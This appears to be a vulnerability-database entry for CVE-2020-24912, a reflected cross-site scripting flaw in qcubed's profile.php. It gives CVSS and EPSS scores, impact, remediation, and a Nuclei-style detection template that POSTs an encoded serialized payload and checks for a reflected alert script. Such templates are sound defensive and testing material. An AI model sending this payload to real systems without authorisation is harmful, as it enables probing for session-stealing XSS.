SecurityContext

CVE-2020-24912: QCube Cross-Site-Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.06095
  • Epss percentile: 0.93596
  • Cpe: cpe:2.3:a:qcubed:qcubed:*:*:*:*:*:*:*:*

Metadata

  • Max-request: 3
  • Product: qcubed
  • Vendor: qcubed

Products

ProductIndexedUrl
qcubed:qcubedyes/v1/products/qcubed/qcubed

Labels

  • Name: qcubed - Reflected XSS
  • Impact: Attackers can steal session cookies of authenticated users, leading to session hijacking and impersonation.
  • Remediation: Sanitize and validate the stQuery parameter in profile.php, update to the latest version if available.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec, information_disclosure
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to click or visit crafted URL
  • Labels source: projectdiscovery
  • From cve: CVE-2020-24912

```yaml

id: CVE-2020-24912

info:

name: QCube Cross-Site-Scripting

author: pikpikcu

severity: medium

description: A reflected cross-site scripting vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

remediation: |

Upgrade to the latest version to mitigate this vulnerability.

reference:

- https://www.ait.ac.at/themen/cyber-security/pentesting/security-advisories/ait-sa-20210215-03

- https://github.com/qcubed/qcubed/pull/1320/files

- https://nvd.nist.gov/vuln/detail/CVE-2020-24912

- http://seclists.org/fulldisclosure/2021/Mar/30

- http://qcubed.com

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2020-24912

cwe-id: CWE-79

epss-score: 0.06095

epss-percentile: 0.93596

cpe: cpe:2.3:a:qcubed:qcubed:*:*:*:*:*:*:*:*

metadata:

max-request: 3

vendor: qcubed

product: qcubed

tags: cve2020,cve,qcubed,xss,seclists,vuln

http:

- method: POST

path:

- "{{BaseURL}}/assets/_core/php/profile.php"

- "{{BaseURL}}/assets/php/profile.php"

- "{{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php"

body: "intDatabaseIndex=1&StrReferrer=somethinxg&strProfileData=YToxOntpOjA7YTozOntzOjEyOiJvYmpCYWNrdHJhY2UiO2E6MTp7czo0OiJhcmdzIjthOjE6e2k6MDtzOjM6IlBXTiI7fX1zOjg6InN0clF1ZXJ5IjtzOjExMjoic2VsZWN0IHZlcnNpb24oKTsgc2VsZWN0IGNvbnZlcnRfZnJvbShkZWNvZGUoJCRQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDRLJCQsJCRiYXNlNjQkJCksJCR1dGYtOCQkKSI7czoxMToiZGJsVGltZUluZm8iO3M6MToiMSI7fX0K="

headers:

Content-Type: application/x-www-form-urlencoded

matchers-condition: and

matchers:

- type: word

part: body

words:

- "<script>alert('xss')</script>"

- type: word

part: header

words:

- 'Content-Type: text/html'

digest: 4a0a00473045022100eaa8ac4594b01db7cc5e3416015ec5694f6d086f419242cac6a1696b691bb0cf02200f2a6b6e4ca56fc565b29c6057944f0332da20eadb3ad1ced89104caaa5f50b5:922c64590222798bb761d5b6d8e72950

```